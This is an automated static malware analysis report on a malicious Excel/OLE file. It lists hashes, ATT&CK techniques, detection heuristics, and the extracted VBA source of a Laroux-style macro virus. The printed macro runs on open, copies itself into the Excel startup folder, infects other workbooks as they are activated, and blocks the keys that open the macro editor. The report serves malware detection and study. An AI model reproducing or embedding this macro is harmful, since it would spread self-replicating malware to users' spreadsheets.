Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be08cf8ee394d078…

MALICIOUS

Office (OLE)

110.0 KB Created: 2019-02-26 01:24:20 First seen: 2020-07-24
MD5: cb035a916ec105a883cc05a3508ad30f SHA-1: 51d51a6e5b42eb577bfe0327aa943aa02037bb6e SHA-256: be08cf8ee394d0786786da0749e349bb67f4c6bfb677b6e98c012bca4eaa212d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically an Auto_Open macro, which is a strong indicator of malicious intent. The macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' and register it to run automatically, indicating a persistence mechanism. The document body contains financial budget tables, likely a lure to disguise the malicious macro.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1334 bytes
SHA-256: 198608d6997bcd098d3ddd108c8b1bd12d42c3cfeafc4ed97b0c84def5637887
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
Attribute ycop.VB_ProcData.VB_Invoke_Func = " \n14"
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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